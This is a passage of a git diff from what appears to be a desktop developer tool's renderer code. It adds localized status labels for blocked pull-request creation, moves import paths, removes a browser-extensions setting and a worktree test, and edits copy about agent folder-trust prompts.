   HostedReviewCreationEligibility,
   HostedReviewProvider
diff --git a/src/renderer/src/components/right-sidebar/source-control/review/source-control-dropdown-review-items.ts b/src/renderer/src/components/right-sidebar/source-control/review/source-control-dropdown-review-items.ts
index 77dba32b803..8bce6a0a62e 100644
--- a/src/renderer/src/components/right-sidebar/source-control/review/source-control-dropdown-review-items.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/review/source-control-dropdown-review-items.ts
@@ -101,6 +101,77 @@ export function buildHostedReviewDropdownItems(
     }
   })()
 
+  const createBlockedStatus = ((): string | undefined => {
+    switch (hostedReviewCreation?.blockedReason) {
+      case 'dirty':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusCommitFirst',
+          'Commit first'
+        )
+      case 'detached_head':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusNoBranch',
+          'No branch'
+        )
+      case 'existing_review':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusReviewOpen',
+          '{{shortLabel}} open',
+          {
+            shortLabel: createReviewCopy.shortLabel
+          }
+        )
+      case 'no_upstream':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusNotPublished',
+          'Not published'
+        )
+      case 'auth_required':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusSignIn',
+          'Sign in'
+        )
+      case 'base_not_on_remote':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusBaseNotOnRemote',
+          'Base not on remote'
+        )
+      case 'default_branch':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusDefaultBranch',
+          'Default branch'
+        )
+      case 'fork_head_unsupported':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusForkUnsupported',
+          'Fork unsupported'
+        )
+      case 'needs_push':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusPushFirst',
+          'Push first'
+        )
+      case 'needs_sync':
+        return shouldForcePushWithLease
+          ? t(
+              'auto.components.right.sidebar.source.control.dropdown.items.statusForcePushFirst',
+              'Force push first'
+            )
+          : t(
+              'auto.components.right.sidebar.source.control.dropdown.items.statusSyncFirst',
+              'Sync first'
+            )
+      case 'unsupported_provider':
+        return t(
+          'auto.components.right.sidebar.source.control.dropdown.items.statusUnsupported',
+          'Unsupported'
+        )
+      case null:
+      case undefined:
+        return undefined
+    }
+  })()
+
   const createPR: DropdownItem = {
     kind: 'create_pr',
     label: t(
@@ -116,6 +187,7 @@ export function buildHostedReviewDropdownItems(
         )
       : createBlockedHint,
     hint: hostedReviewCreation?.canCreate ? undefined : createBlockedHint,
+    status: hostedReviewCreation?.canCreate ? undefined : createBlockedStatus,
     disabled:
       globalBusy ||
       !supportsHostedReviewCreation(hostedReviewCreation?.provider) ||
@@ -160,6 +232,7 @@ export function buildHostedReviewDropdownItems(
           )
       : createBlockedHint,
     hint: canPushAndCreate ? undefined : createBlockedHint,
+    status: canPushAndCreate ? undefined : createBlockedStatus,
     disabled: !canPushAndCreate
   }
 
diff --git a/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-run.ts b/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-run.ts
index fcab4460e43..b19cad6c0ec 100644
--- a/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-run.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-run.ts
@@ -2,7 +2,7 @@ import { useSourceControlScope } from '../panel/worktree-scope'
 import { useCallback } from 'react'
 import { translate } from '@/i18n/i18n'
 import { createCreatePrIntentRunToken } from './create-pr-intent-flow'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
+import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy'
 import type { SourceControlCommitAction } from '../commit/use-commit-action'
 import type { SourceControlWorktreeContext } from '../listing/use-worktree-context'
 import type { SourceControlFileListing } from '../listing/use-file-listing'
diff --git a/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-target.ts b/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-target.ts
index 685264368fb..703f6638902 100644
--- a/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-target.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-target.ts
@@ -1,6 +1,6 @@
 import { useCallback, useEffect, useRef } from 'react'
-import { useAppStore } from '@/store'
-import { worktreeCopyPushTarget } from '@/lib/worktree-git-copy'
+import { useAppStore } from '@/store/index'
+import { worktreeCopyPushTarget } from '@/lib/workspace/ownership/worktree-git-copy'
 import type { CreatePrIntentRunToken } from './create-pr-intent-flow'
 import type { SourceControlOperationTarget } from '../listing/operation-target'
 import type { SourceControlWorktreeOperationState } from '../panel/use-worktree-operation-state'
diff --git a/src/renderer/src/components/right-sidebar/source-control/review/use-pull-request-generation.ts b/src/renderer/src/components/right-sidebar/source-control/review/use-pull-request-generation.ts
index 6b3f4523901..4681fae7463 100644
--- a/src/renderer/src/components/right-sidebar/source-control/review/use-pull-request-generation.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/review/use-pull-request-generation.ts
@@ -7,7 +7,7 @@ import {
 import { getRepoExecutionHostId } from '../../../../../../shared/execution-host'
 import { getWorkspaceJiraIssueKey } from '../../../../../../shared/jira/jira-review-title'
 import { useCallback } from 'react'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
+import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy'
 import {
   cancelRuntimeGeneratePullRequestFields,
   generateRuntimePullRequestFields
@@ -15,7 +15,7 @@ import {
 import type { RuntimeGeneratePullRequestFieldsOverrides } from '@/runtime/source-control/git/runtime-git-client-context'
 import type { PullRequestGenerationOutcome } from '../../hosted-review/creation/create-pull-request-dialog-field-model'
 import { settlePullRequestGenerationRequest } from '../../hosted-review/creation/pull-request-generation-request-outcome'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   createRunningPullRequestGenerationRecord,
   getPullRequestGenerationRecordKey,
diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/git-history-commit-context-menu.tsx b/src/renderer/src/components/right-sidebar/source-control/sync/git-history-commit-context-menu.tsx
index 0b2545a6b62..e5c8c2d5084 100644
--- a/src/renderer/src/components/right-sidebar/source-control/sync/git-history-commit-context-menu.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/sync/git-history-commit-context-menu.tsx
@@ -1,5 +1,4 @@
 import { useSourceControlState, useSourceControlScope } from '../panel/worktree-scope'
-import type React from 'react'
 import { Copy, Globe, Hash, Sparkles } from 'lucide-react'
 import {
   ContextMenuContent,
@@ -7,8 +6,9 @@ import {
   ContextMenuSeparator
 } from '@/components/ui/context-menu'
 import { useTranslate } from '@/i18n/use-translate'
+import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
+import type React from 'react'
 import type { GitHistoryItem } from '../../../../../../shared/git/history/git-history-types'
-import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
 
 export type GitHistoryCommitAction = 'open-remote' | 'copy-hash' | 'copy-message' | 'explain'
 
diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/git-status-refresh-scheduler.ts b/src/renderer/src/components/right-sidebar/source-control/sync/git-status-refresh-scheduler.ts
index 7aec4737eae..106f981cad9 100644
--- a/src/renderer/src/components/right-sidebar/source-control/sync/git-status-refresh-scheduler.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/sync/git-status-refresh-scheduler.ts
@@ -1,7 +1,7 @@
 import {
   slowTaskRequiredIdleMs,
   type SlowTaskBackoffOptions
-} from '../../../../lib/repository-refresh/coalesced-poll-runner'
+} from '../../../../lib/source-control/refresh/coalesced-poll-runner'
 
 export type GitStatusRefreshReason = 'activity' | 'safety'
 
diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/git-status-twin-copy.test.ts b/src/renderer/src/components/right-sidebar/source-control/sync/git-status-twin-copy.test.ts
deleted file mode 100644
index 410f7ede53b..00000000000
--- a/src/renderer/src/components/right-sidebar/source-control/sync/git-status-twin-copy.test.ts
+++ /dev/null
@@ -1,112 +0,0 @@
-// @vitest-environment happy-dom
-
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { Repo } from '../../../../../../shared/repo-types'
-import type { Worktree } from '../../../../../../shared/worktree/types'
-import type { GitStatusResult } from '../../../../../../shared/git/status/git-status-types'
-import { useAppStore } from '@/store/index'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
-import { refreshGitStatusForWorktree } from './git-status-refresh'
-
-// #32918: the same project at the same path on this machine and on an SSH host.
-const id = 'repo1::/srv/ai-tools'
-const initialAppState = useAppStore.getInitialState()
-
-function repo(overrides: Partial<Repo>): Repo {
-  return {
-    id: 'repo1',
-    path: '/srv/ai-tools',
-    displayName: 'ai-tools',
-    badgeColor: '#000',
-    addedAt: 0,
-    kind: 'git',
-    ...overrides
-  }
-}
-
-function copy(overrides: Partial<Worktree>): Worktree {
-  return {
-    id,
-    repoId: 'repo1',
-    path: '/srv/ai-tools',
-    head: 'aaa',
-    branch: 'refs/heads/master',
-    isBare: false,
-    isMainWorktree: true,
-    displayName: 'master',
-    comment: '',
-    linkedIssue: null,
-    linkedPR: null,
-    linkedLinearIssue: null,
-    isArchived: false,
-    isUnread: false,
-    isPinned: false,
-    sortOrder: 0,
-    lastActivityAt: 0,
-    ...overrides
-  }
-}
-
-const status = vi.fn<(args: { connectionId?: string }) => Promise<GitStatusResult>>()
-
-beforeEach(() => {
-  status.mockResolvedValue({
-    entries: [],
-    head: 'bbb2',
-    branch: 'refs/heads/feature',
-    upstreamStatus: { hasUpstream: false, ahead: 0, behind: 0 },
-    conflictOperation: 'unknown'
-  })
-  vi.stubGlobal('window', { ...window, api: { git: { status } } })
-  useAppStore.setState({
-    repos: [repo({ connectionId: null }), repo({ connectionId: 'box-b' })],
-    worktreesByRepo: {
-      repo1: [
-        copy({ hostId: 'local' }),
-        copy({
-          hostId: 'ssh:box-b',
-          head: 'bbb',
-          branch: 'refs/heads/feature',
-          displayName: 'feature'
-        })
-      ]
-    },
-    activeWorktreeId: id,
-    activeWorkspaceExecutionHostId: 'ssh:box-b'
-  })
-})
-
-afterEach(() => {
-  useAppStore.setState(initialAppState, true)
-  vi.unstubAllGlobals()
-})
-
-describe('git status poll for a same-path twin', () => {
-  it("asks the selected SSH copy's host and patches only that copy", async () => {
-    const target = resolveWorktreeGitCopyNow(id)
-    expect(target).toMatchObject({ hostId: 'ssh:box-b', connectionId: 'box-b' })
-    if (!target) {
-      return
-    }
-    const state = useAppStore.getState()
-
-    await refreshGitStatusForWorktree({
-      target: target.transport,
-      ownerHostId: target.hostId,
-      worktreeId: id,
-      worktreePath: '/srv/ai-tools',
-      connectionId: target.connectionId,
-      deps: {
-        setGitStatus: state.setGitStatus,
-        updateWorktreeGitIdentity: state.updateWorktreeGitIdentity,
-        setUpstreamStatus: state.setUpstreamStatus,
-        fetchUpstreamStatus: async () => null
-      }
-    })
-
-    expect(status).toHaveBeenCalledWith(expect.objectContaining({ connectionId: 'box-b' }))
-    const [local, remote] = useAppStore.getState().worktreesByRepo.repo1
-    expect(local).toMatchObject({ head: 'aaa', branch: 'refs/heads/master' })
-    expect(remote).toMatchObject({ head: 'bbb2', branch: 'refs/heads/feature' })
-  })
-})
diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/stale-conflict-operation-poll.ts b/src/renderer/src/components/right-sidebar/source-control/sync/stale-conflict-operation-poll.ts
index 972c3c36600..00a4d5f8d65 100644
--- a/src/renderer/src/components/right-sidebar/source-control/sync/stale-conflict-operation-poll.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/sync/stale-conflict-operation-poll.ts
@@ -7,7 +7,7 @@ import { getRuntimeGitConflictOperation } from '@/runtime/source-control/git/run
 import {
   createCoalescedPollRunner,
   type SlowTaskBackoffOptions
-} from '../../../../lib/repository-refresh/coalesced-poll-runner'
+} from '../../../../lib/source-control/refresh/coalesced-poll-runner'
 import {
   installWindowVisibilityInterval,
   isWindowVisible
diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/use-branch-compare.ts b/src/renderer/src/components/right-sidebar/source-control/sync/use-branch-compare.ts
index fcd1651944c..152e88e8baa 100644
--- a/src/renderer/src/components/right-sidebar/source-control/sync/use-branch-compare.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/sync/use-branch-compare.ts
@@ -8,7 +8,7 @@ import { useAppStore } from '@/store/index'
 import { createLoadingBranchCompareSummary } from '@/store/slices/editor/git/branch-compare-state'
 import type { GitUpstreamStatus } from '../../../../../../shared/git/status/git-status-types'
 import { shouldClearBranchCompareForMissingBase } from '../../../../../../shared/source-control/decisions/source-control-base-ref-resolution'
-import { slowTaskRequiredIdleMs } from '../../../../lib/repository-refresh/coalesced-poll-runner'
+import { slowTaskRequiredIdleMs } from '../../../../lib/source-control/refresh/coalesced-poll-runner'
 import { useBranchCompareRefreshTriggers } from './use-branch-compare-refresh-triggers'
 
 // Slow polls idle for their own duration; explicit mutation/base/manual refreshes remain immediate.
diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-upstream-ref-watch.ts b/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-upstream-ref-watch.ts
index 811aeb9aee4..9d1c19b00e3 100644
--- a/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-upstream-ref-watch.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-upstream-ref-watch.ts
@@ -1,5 +1,5 @@
 import { useCallback, useEffect } from 'react'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
+import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy'
 import { setRuntimeGitStatusUpstreamRefWatch } from '@/runtime/source-control/git/runtime-git-status-client'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import type { GitStatusResult } from '../../../../../../shared/git/status/git-status-types'
diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/use-status-refresh.ts b/src/renderer/src/components/right-sidebar/source-control/sync/use-status-refresh.ts
index 67865aeb09a..e94bec590ba 100644
--- a/src/renderer/src/components/right-sidebar/source-control/sync/use-status-refresh.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/sync/use-status-refresh.ts
@@ -6,7 +6,7 @@ import {
   resolveWorktreeGitCopyNow,
   worktreeGitCopyHostId,
   worktreeCopyPushTarget
-} from '@/lib/worktree-git-copy'
+} from '@/lib/workspace/ownership/worktree-git-copy'
 import {
   getLocalPathOpenOwnerForRoute,
   isLocalPathOpenBlocked
@@ -17,7 +17,7 @@ import {
   markHugeRepoWarningDismissed
 } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
 import { translate } from '@/i18n/i18n'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import type { GitPushTarget } from '../../../../../../shared/worktree/types'
 import { isWslDistroNotRunningRefusal } from '../../../../../../shared/wsl-distro-not-running-refusal'
 import type { PullRequestGenerationContext } from '@/store/slices/hosted-review/generation/pull-request-generation-state'
diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/use-worktree-git-status-observation.ts b/src/renderer/src/components/right-sidebar/source-control/sync/use-worktree-git-status-observation.ts
index 360a51ca0a4..97b6759de8f 100644
--- a/src/renderer/src/components/right-sidebar/source-control/sync/use-worktree-git-status-observation.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/sync/use-worktree-git-status-observation.ts
@@ -19,7 +19,7 @@ import {
   hasInteractiveActiveGitStatusConsumer,
   shouldPollActiveGitStatus
 } from '@/app-shell/platform/passive-macos-app-data-access'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
+import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy'
 import { useGitStatusFileWatchRefresh } from './git-status-file-watch-refresh'
 import { useGitStatusPushSignalRefresh } from './git-status-push-signal-refresh'
 import { useGitStatusUpstreamRefWatch } from './use-git-status-upstream-ref-watch'
diff --git a/src/renderer/src/components/right-sidebar/ssh-forwarded-port-row.tsx b/src/renderer/src/components/right-sidebar/ssh-forwarded-port-row.tsx
index 65794fc35ec..ddea7ce6635 100644
--- a/src/renderer/src/components/right-sidebar/ssh-forwarded-port-row.tsx
+++ b/src/renderer/src/components/right-sidebar/ssh-forwarded-port-row.tsx
@@ -2,7 +2,7 @@ import React, { useCallback, useState } from 'react'
 import { Copy, ExternalLink, Pencil, Trash2 } from 'lucide-react'
 import { cn } from '@/lib/class-names'
 import { useMountedRef } from '@/hooks/useMountedRef'
-import { getPortOpenBrowserTooltipLabel } from '@/lib/workspace-ports/workspace-port-actions'
+import { getPortOpenBrowserTooltipLabel } from '@/lib/workspace-ports/workspace-port-browser-open'
 import {
   addressForPortForwardEntry,
   advertisedBrowserUrlForForwardedRow
diff --git a/src/renderer/src/components/right-sidebar/ssh-ports-panel.tsx b/src/renderer/src/components/right-sidebar/ssh-ports-panel.tsx
index d0426da12c9..18a08d0aa29 100644
--- a/src/renderer/src/components/right-sidebar/ssh-ports-panel.tsx
+++ b/src/renderer/src/components/right-sidebar/ssh-ports-panel.tsx
@@ -4,7 +4,7 @@ import { toast } from 'sonner'
 import { useAppStore } from '@/store/index'
 import { useActiveWorktree } from '@/store/workspaces/selection/use-selected-worktree'
 import { cn } from '@/lib/class-names'
-import { resolvePortOpenInOrcaBrowser } from '@/lib/workspace-ports/workspace-port-actions'
+import { resolvePortOpenInOrcaBrowser } from '@/lib/workspace-ports/workspace-port-browser-open'
 import { browserUrlForPortForwardEntry } from '@/lib/workspace-ports/workspace-port-urls'
 import type {
   EnrichedDetectedPort,
diff --git a/src/renderer/src/lib/right-sidebar-visibility.ts b/src/renderer/src/components/right-sidebar/visibility/right-sidebar-visibility.ts
similarity index 84%
rename from src/renderer/src/lib/right-sidebar-visibility.ts
rename to src/renderer/src/components/right-sidebar/visibility/right-sidebar-visibility.ts
index be451d379d6..56aa4c11255 100644
--- a/src/renderer/src/lib/right-sidebar-visibility.ts
+++ b/src/renderer/src/components/right-sidebar/visibility/right-sidebar-visibility.ts
@@ -1,7 +1,7 @@
 import type { AppState } from '@/store/types'
 import { getIndexedRepoMap } from '@/store/repos/repository-catalog-index'
 import { getIndexedWorktreeMap } from '@/store/slices/worktrees/listing/worktree-catalog-index'
-import { isFolderRepo } from '../../../shared/repo-kind'
+import { isFolderRepo } from '../../../../../shared/repo-kind'
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
 
 type ActiveView = AppState['activeView']
@@ -21,11 +21,6 @@ export function canShowRightSidebarForView(activeView: ActiveView): boolean {
   return !RIGHT_SIDEBAR_SUPPRESSED_VIEWS.has(activeView)
 }
 
-/** The toggle button, its shortcut and the menu item share this rule, so none hides what another opens. */
-export function canToggleRightSidebar(activeView: ActiveView): boolean {
-  return canShowRightSidebarForView(activeView)
-}
-
 /** Workspace and creation surfaces have no titlebar strip, so the closed sidebar needs its own toggle there. */
 export function showsFloatingRightSidebarToggle(layout: {
   activeView: ActiveView
@@ -36,7 +31,7 @@ export function showsFloatingRightSidebarToggle(layout: {
   return (
     (layout.workspaceChromeActive || layout.creationLayoutActive) &&
     !layout.rightSidebarOpen &&
-    canToggleRightSidebar(layout.activeView)
+    canShowRightSidebarForView(layout.activeView)
   )
 }
 
diff --git a/src/renderer/src/components/runtime-access/RuntimeHostAccessFailureAlert.tsx b/src/renderer/src/components/runtime-access/RuntimeHostAccessFailureAlert.tsx
index 3158db4dbce..b64f10cb507 100644
--- a/src/renderer/src/components/runtime-access/RuntimeHostAccessFailureAlert.tsx
+++ b/src/renderer/src/components/runtime-access/RuntimeHostAccessFailureAlert.tsx
@@ -4,8 +4,8 @@ import type {
 } from '../../../../shared/remote-runtime/pairing/remote-pairing-verification'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
-import { translateRemotePairingFailureDescription } from '@/lib/remote-pairing-copy'
-import { remoteServerPairingFailureMessage } from '@/lib/remote-server-pairing-error-copy'
+import { translateRemotePairingFailureDescription } from '@/lib/remote-pairing/remote-pairing-copy'
+import { remoteServerPairingFailureMessage } from '@/lib/remote-pairing/remote-server-pairing-error-copy'
 
 export type RuntimeHostAccessFailure = Omit<RemotePairingFailure, 'ok'>
 
diff --git a/src/renderer/src/components/runtime-access/RuntimeHostAccessForm.tsx b/src/renderer/src/components/runtime-access/RuntimeHostAccessForm.tsx
index bd997356a8a..17e3d10af55 100644
--- a/src/renderer/src/components/runtime-access/RuntimeHostAccessForm.tsx
+++ b/src/renderer/src/components/runtime-access/RuntimeHostAccessForm.tsx
@@ -10,7 +10,7 @@ import { useTranslate } from '@/i18n/use-translate'
 import {
   translateHostAccessLinkError,
   translateRemotePairingEndpointKind
-} from '@/lib/remote-pairing-copy'
+} from '@/lib/remote-pairing/remote-pairing-copy'
 import { defaultServerNameForAccessLink } from '../../../../shared/remote-runtime/host-catalog/runtime-host-default-name'
 import {
   RuntimeHostAccessFailureAlert,
diff --git a/src/renderer/src/components/runtime-access/RuntimeRepairDialog.tsx b/src/renderer/src/components/runtime-access/RuntimeRepairDialog.tsx
index 0da3c326624..7caa3e8ce1d 100644
--- a/src/renderer/src/components/runtime-access/RuntimeRepairDialog.tsx
+++ b/src/renderer/src/components/runtime-access/RuntimeRepairDialog.tsx
@@ -15,7 +15,7 @@ import { Input } from '@/components/ui/input'
 import { Label } from '@/components/ui/label'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { useTranslate } from '@/i18n/use-translate'
-import { translateHostAccessLinkError } from '@/lib/remote-pairing-copy'
+import { translateHostAccessLinkError } from '@/lib/remote-pairing/remote-pairing-copy'
 import { refreshRuntimeEnvironmentCatalog } from '@/runtime/rpc/environment-revisions/runtime-environment-pairing-refresh'
 import { clearRuntimeCompatibilityCache } from '@/runtime/rpc/compatibility/runtime-compatibility-cache'
 import { useAppStore } from '@/store/index'
diff --git a/src/renderer/src/lib/script-textarea-rows.ts b/src/renderer/src/components/script-editor/rows/script-textarea-rows.ts
similarity index 100%
rename from src/renderer/src/lib/script-textarea-rows.ts
rename to src/renderer/src/components/script-editor/rows/script-textarea-rows.ts
diff --git a/src/renderer/src/components/settings/advanced/ExperimentalPane.tsx b/src/renderer/src/components/settings/advanced/ExperimentalPane.tsx
index 941d1a333ea..c9a4943e25b 100644
--- a/src/renderer/src/components/settings/advanced/ExperimentalPane.tsx
+++ b/src/renderer/src/components/settings/advanced/ExperimentalPane.tsx
@@ -11,7 +11,6 @@ import { NumberField } from '../form-controls/SettingsFormControls'
 import { useTranslate } from '@/i18n/use-translate'
 import { AgentDashboardExperimentalSetting } from '../../dashboard/AgentDashboardExperimentalSetting'
 import { EphemeralVmsExperimentalSetting } from '../virtual-machines/recipes/EphemeralVmsExperimentalSetting'
-import { BrowserExtensionsExperimentalSetting } from '../browser/extensions/BrowserExtensionsExperimentalSetting'
 import { WslHostsExperimentalSetting } from '../wsl/hosts/WslHostsExperimentalSetting'
 import { wslHostsAvailable } from '../../sidebar/use-wsl-hosts-enabled'
 import {
@@ -253,8 +252,6 @@ export function ExperimentalPane({
 
         <EphemeralVmsExperimentalSetting settings={settings} updateSettings={updateSettings} />
 
-        <BrowserExtensionsExperimentalSetting settings={settings} updateSettings={updateSettings} />
-
         {wslHostsAvailable() ? (
           <WslHostsExperimentalSetting settings={settings} updateSettings={updateSettings} />
         ) : null}
diff --git a/src/renderer/src/components/settings/advanced/experimental-search.ts b/src/renderer/src/components/settings/advanced/experimental-search.ts
index d69b5528840..ae3dc3b44d7 100644
--- a/src/renderer/src/components/settings/advanced/experimental-search.ts
+++ b/src/renderer/src/components/settings/advanced/experimental-search.ts
@@ -4,7 +4,6 @@ import { translate } from '@/i18n/i18n'
 import { translateSearchKeyword } from '../search/settings-search-keywords'
 import { getNewWorktreeCardStyleSearchEntry } from './new-worktree-card-style-search-entry'
 import { getEphemeralVmsSearchEntry } from '../virtual-machines/recipes/ephemeral-vms-search'
-import { getBrowserExtensionsExperimentalSearchEntry } from '../browser/extensions/browser-extensions-experimental-search'
 import { getWslHostsExperimentalSearchEntry } from '../wsl/hosts/wsl-hosts-experimental-search'
 
 export const getExperimentalSearchEntry = createLocalizedCatalog(
@@ -184,8 +183,7 @@ export const getExperimentalSearchEntry = createLocalizedCatalog(
         ]
       },
       newWorktreeCardStyle: getNewWorktreeCardStyleSearchEntry(),
-      ephemeralVms: getEphemeralVmsSearchEntry(),
-      browserExtensions: getBrowserExtensionsExperimentalSearchEntry()
+      ephemeralVms: getEphemeralVmsSearchEntry()
     }) satisfies Record<string, SettingsSearchEntry>
 )
 
diff --git a/src/renderer/src/components/settings/agents/AgentsPane.tsx b/src/renderer/src/components/settings/agents/AgentsPane.tsx
index 906f6307b86..515b1721801 100644
--- a/src/renderer/src/components/settings/agents/AgentsPane.tsx
+++ b/src/renderer/src/components/settings/agents/AgentsPane.tsx
@@ -1,10 +1,10 @@
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   getClaudeSubagentNavigationTitle,
   getClaudeSubagentNavigationDescription
 } from './behavior/claude-subagent-navigation-copy'
 import type { GlobalSettings } from '../../../../../shared/global-settings-types'
-import { getLocalExecutionHostLabel } from '../../../../../shared/execution-host'
+import { translateLocalExecutionHostLabel } from '../../sidebar/execution-host-label'
 import { AgentAwakeSetting } from './behavior/AgentAwakeSetting'
 import { AgentCacheTimerSection } from './behavior/AgentCacheTimerSection'
 import { AgentRuntimeSetting } from './runtime/AgentRuntimeSetting'
@@ -19,7 +19,7 @@ import {
   getAgentStatusHooksTitle
 } from './behavior/agent-status-hooks-copy'
 import { SettingsSwitchRow } from '../form-controls/SettingsFormControls'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import { AgentLaunchSettingsSection } from './launch/AgentLaunchSettingsSection'
 import {
   AgentPermissionsSetting,
@@ -69,7 +69,7 @@ export function AgentsPane({
           hostScope={hostScope}
         />
       </SettingsGroup>
-      <SettingsGroup title={getLocalExecutionHostLabel()}>
+      <SettingsGroup title={translateLocalExecutionHostLabel()}>
         <AgentRuntimeSetting
           settings={settings}
           updateSettings={updateSettings}
diff --git a/src/renderer/src/components/settings/agents/behavior/agent-workspace-trust-copy.ts b/src/renderer/src/components/settings/agents/behavior/agent-workspace-trust-copy.ts
index ad0ec43c639..a82be27c348 100644
--- a/src/renderer/src/components/settings/agents/behavior/agent-workspace-trust-copy.ts
+++ b/src/renderer/src/components/settings/agents/behavior/agent-workspace-trust-copy.ts
@@ -13,7 +13,7 @@ export function getAgentWorkspaceTrustTitle(t: Translate = translate): string {
 export function getAgentWorkspaceTrustDescription(t: Translate = translate): string {
   return t(
     'auto.components.settings.agent-workspace-trust-copy.description',
-    'Agents Orca starts can skip their "Do you trust this folder?" prompt, so the project\'s agent hooks and settings run right away. Orca asks once per repository the first time you start an agent there, and you can change the answer in that repository\'s settings. Turn this off to let agents always ask. An agent that asks while running without you watching, such as an orchestration worker, an automation or an agent started from your phone, waits until you answer in its terminal. Folders already trusted stay trusted.'
+    'Agents Orca starts can skip their "Do you trust this folder?" prompt, so the project\'s agent hooks and settings run right away. You can turn this off for one repository in that repository\'s settings. Turn this off to let agents always ask. An agent that asks while running without you watching, such as an orchestration worker, an automation or an agent started from your phone, waits until you answer in its terminal. Folders already trusted stay trusted.'
   )
 }
 
diff --git a/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsCatalog.tsx b/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsCatalog.tsx
index 2b47b17351d..c32128f62be 100644
--- a/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsCatalog.tsx
+++ b/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsCatalog.tsx
@@ -257,6 +257,13 @@ export function AgentLaunchSettingsCatalog({
             <AgentLaunchChoiceEditor
               permissionControlRef={permissionControlRef}
               showArguments={isDetected}
+              catalogTarget={
+                detectionTarget.kind === 'ssh'
+                  ? null
+                  : detectionTarget.kind === 'runtime'
+                    ? { kind: 'environment', environmentId: detectionTarget.environmentId }
+                    : { kind: 'local' }
+              }
               agent={agent.id}
               label={agent.label}
               choices={settings.agentChoices?.defaults[agent.id]}
diff --git a/src/renderer/src/components/settings/agents/surfaces/AgentDefaultSurfaceSection.tsx b/src/renderer/src/components/settings/agents/surfaces/AgentDefaultSurfaceSection.tsx
index 1d1a2ad00a1..a74b007719c 100644
--- a/src/renderer/src/components/settings/agents/surfaces/AgentDefaultSurfaceSection.tsx
+++ b/src/renderer/src/components/settings/agents/surfaces/AgentDefaultSurfaceSection.tsx
@@ -254,7 +254,7 @@ export function AgentDefaultSurfaceSection({
           role="radiogroup"
           aria-label={title}
           aria-busy={pending}
-          className="grid gap-3.5 @3xl:grid-cols-2"
+          className="grid gap-3.5 @2xl:grid-cols-2"
         >
           <SurfaceTile
             name={name}
diff --git a/src/renderer/src/components/settings/appearance/AppearanceShortcutHintList.tsx b/src/renderer/src/components/settings/appearance/AppearanceShortcutHintList.tsx
index bb456f571d1..2ec769ac262 100644
--- a/src/renderer/src/components/settings/appearance/AppearanceShortcutHintList.tsx
+++ b/src/renderer/src/components/settings/appearance/AppearanceShortcutHintList.tsx
@@ -3,19 +3,16 @@ import type React from 'react'
 import type { ShortcutKeyComboDetails } from '@/hooks/useShortcutLabel'
 import { ShortcutKeyCombo } from '../../ShortcutKeyCombo'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateUnassignedLabel } from '@/i18n/unassigned-label'
 
 export function ShortcutHintList({
   combos
 }: {
